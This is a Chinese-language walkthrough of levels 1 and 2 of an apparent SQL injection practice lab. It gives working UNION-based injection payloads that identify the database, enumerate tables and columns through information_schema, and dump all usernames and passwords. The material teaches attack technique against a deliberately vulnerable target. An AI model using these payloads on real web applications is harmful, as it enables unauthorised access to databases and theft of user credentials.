第1关:
提示我们:
Please input the ID as parameter with numeric value
请输入ID作为带数值的参数
我们输入 ?id=1
然后是?id=2
?id=10,我们发现输入的数值不同,返回的信息也不同,所以输入的数值应该是被代入到数据库中进行查询。猜测sql语句是select...from...where id='10',我们输入的参数被拼接到单引号中去
我们输入?id=1’,
sql语句是select...from...where id='1'',报错
然后输入?id=1’--+
sql语句是select...from...where id='1'-- ’,单引号闭合前面的单引号,--+在解释成--(空格)注释掉后面的单引号
在sql语句中,#和-- (空格)表示注释后面的内容。在url中,以get方式发送请求的时候不能直接用#
解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。
也可以使用--%20,把空格转换为urlencode编码格式,也不会报错。同理把#变成%23,也不报错。
如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。
接下来就是看查询的字段了,输入
?id=1' order by 3 --+
回显正常,然后把3改成4,出现报错,说明查询字段是3个字段
所以猜测数据库的sql语句大概是这样子
select 字段1,字段2,字段3 from...where id='1'
但是它只显示两个字段,我们不知道它显示的是哪两个,这就用到union联合查询,输入
?id=-1' union select 1,2,3 --+
可以看到它显示的是2,3字段
接下来我们就可以利用这两个显示位来获取我们想要的信息了
获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,把显示位的2,3替换成数据库的函数
?id=-1' union select 1,database(),version() --+
可以看到当前数据库名是:security,版本是5.5.29
注意,在Mysql5.0以上, Mysql自带了Information_schema这个数据库, 5.0以下是没有的,information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
接下来就是报表,看看security库下有哪些表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security' --+
有四个表:emails,referers,uagents,users
根据上面爆出的表名,我们猜测用户的账号信息存在users表中,所以我们查一下users表中有哪些字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆出三个字段名:id,username,password,分别是id,用户名和密码
知道了库名,表名,字段名,接下来就可以爆出所有的用户名和密码了
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
第2关
我们正常输入?id=1,显示正常
我们输入
?id=1'--+
回显异常,说明这一关不是字符型注入,是数字型注入
类似于select..from..where id=1
后面的操作跟第一关一样,oder by猜测查询字段数,报错查看回显字段,联合查询想要的信息,暴库,爆表,爆列,字段名